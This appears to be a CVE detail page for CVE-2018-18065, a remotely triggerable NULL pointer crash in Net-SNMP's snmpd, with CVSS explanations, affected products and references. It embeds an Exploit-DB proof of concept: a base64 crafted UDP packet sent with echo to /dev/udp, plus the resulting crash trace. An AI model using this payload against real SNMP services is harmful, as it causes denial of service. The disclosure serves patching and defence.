CVE-2018-18065 : Detail

CVE-2018-18065

6.5
/
Medium
Memory Corruption
0.54%V3
Network
2018-10-08
16h00 +00:00
2020-02-17
15h03 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

_set_key in agent/helpers/table_container.c in Net-SNMP before 5.8 has a NULL Pointer Exception bug that can be used by an authenticated attacker to remotely cause the instance to crash via a crafted UDP packet, resulting in Denial of Service.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-476 NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45547

Publication date : 2018-10-07 22h00 +00:00
Author : Magnus Klaaborg Stubman
EDB Verified : No

_ _ / | ___ ___| |_ ___ ___ ___ _____ ___ _ / / | | -_| _|___|_ -| | | . | |_|_/ |_|_|___|_| |___|_|_|_|_|_| _| |_| 2018-10-08 NET-SNMP REMOTE DOS =================== Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service: # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111 # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln 127.0.0.1:1111 ASAN:SIGSEGV ================================================================= ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0) #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9 #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614 #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749 #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12 #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9 #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14 #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22 #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18 #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14 #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10 #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7 #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14 #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10 #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502 #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15 #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118 #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key ==41062==ABORTING PATCHES ======= Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d TIMELINE ======== 2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure 2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure 2018-01-05 I discovered both bugs 2018-01-08 Vendor notified 2018-01-08 Vendor responds - bugs already fixed in version control repo 2018-10-08 Public disclosure of exploit PROOF OF DISCOVERY ================== # cat vuln2 | base64 MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y # sha256sum vuln2 b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2 vuln2 twitter.com/magnusstubman/status/949520565064404994 REFERENCES ========== - sourceforge.net/p/net-snmp/bugs/2820 - sourceforge.net/p/net-snmp/bugs/2819

Products Mentioned

Configuraton 0

Net-snmp>>Net-snmp >> Version To (excluding) 5.8

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Configuraton 0

Netapp>>Cloud_backup >> Version -

Netapp>>Hyper_converged_infrastructure >> Version -

Netapp>>Storagegrid_webscale >> Version -

Netapp>>Data_ontap >> Version -

Netapp>>E-series_santricity_os_controller >> Version From (including) 11.0 To (including) 11.5

    Netapp>>Solidfire_element_os >> Version -

    Configuraton 0

    Paloaltonetworks>>Pan-os >> Version To (including) 7.1.22

    Paloaltonetworks>>Pan-os >> Version From (including) 7.1.23 To (including) 8.0.15

    Paloaltonetworks>>Pan-os >> Version From (including) 8.0.16 To (including) 8.1.6

    References

    https://www.exploit-db.com/exploits/45547/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://usn.ubuntu.com/3792-1/
    Tags : vendor-advisory, x_refsource_UBUNTU
    https://usn.ubuntu.com/3792-2/
    Tags : vendor-advisory, x_refsource_UBUNTU
    https://usn.ubuntu.com/3792-3/
    Tags : vendor-advisory, x_refsource_UBUNTU
    https://www.debian.org/security/2018/dsa-4314
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.securityfocus.com/bid/106265
    Tags : vdb-entry, x_refsource_BID